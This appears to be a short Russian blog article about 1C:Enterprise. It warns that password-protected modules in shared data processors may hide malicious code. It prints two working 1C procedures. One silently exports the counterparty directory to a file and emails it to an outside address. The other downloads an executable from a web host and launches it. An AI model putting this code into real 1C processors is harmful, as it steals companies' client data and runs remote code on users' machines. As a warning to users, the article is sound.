Каталог решений - Что может скрываться в модуле обработки?

Что может скрываться в модуле обработки?

Многие из программистов 1С Предприятие при выкладывании своих обработок (например на Инфостарт) закрывают доступ к модулю объектов паролем. Что же они там могут прятать, приведу пару примеров:

Пример первый, «тырим» справочник Контрагенты 🙂

Процедура ТыримКонтрагентов()
АдресКуда = "sergey1c@ngs.ru";
ТД = Новый ТекстовыйДокумент;

Запрос = Новый Запрос;
Запрос.Текст =
"ВЫБРАТЬ РАЗРЕШЕННЫЕ РАЗЛИЧНЫЕ
| Контрагенты.Ссылка
|ИЗ
| Справочник.Контрагенты КАК Контрагенты
|ГДЕ
| Контрагенты.ЭтоГруппа = ЛОЖЬ";

Выборка= Запрос.Выполнить().Выбрать();

Пока Выборка.Следующий() Цикл
    ТД.ДобавитьСтроку(Выборка.Ссылка.НаименованиеПолное);
КонецЦикла;

Путь = "c:\kont.txt";

ТД.Записать(Путь);


Профиль = Новый ИнтернетПочтовыйПрофиль;
Профиль.АдресСервераSMTP = "smtp.mail.ru";
Профиль.ПортSMTP = 25;
Профиль.ПользовательSMTP = "kontrag";
Профиль.ПарольSMTP = "kontrag";
Профиль.АутентификацияSMTP = СпособSMTPАутентификации.Login;

ИнтернетПочта = Новый ИнтернетПочта;

Попытка
    ИнтернетПочта.Подключиться(Профиль);
Исключение
КонецПопытки;


ПочтовоеСообщение = Новый ИнтернетПочтовоеСообщение;
ПочтовоеСообщение.Тема ="Контрагенты";
ПочтовоеСообщение.Отправитель ="kontrag@mail.ru";
ПочтовоеСообщение.Вложения.Добавить(Путь, "Конт.txt");
ПочтовоеСообщение.Получатели.Добавить(АдресКуда);

Попытка
    ИнтернетПочта.Послать(ПочтовоеСообщение);
    ИнтернетПочта.Отключиться();
Исключение
КонецПопытки;

УдалитьФайлы(Путь);

КонецПроцедуры

В данном примере выбираются только полные наименования контрагентов.

Потом только остается проверять почту указанную в АдресКуда = «sergey1c@ngs.ru».

Пример второй, заносим на компьютер вирус

Процедура ЗаносимВирус()

 

КудаСохраняем ="c:\FarManager170.exe";

HTTP = Новый HTTPСоединение("www.farmanager.com");

HTTP.Получить("/files/FarManager170.exe", КудаСохраняем);

ЗапуститьПриложение(КудаСохраняем);

 

КонецПроцедуры

Тут вообще все просто, скачивается и запускается

P.S.

Большая просьба для всех, не примеряйте эту статью на себя.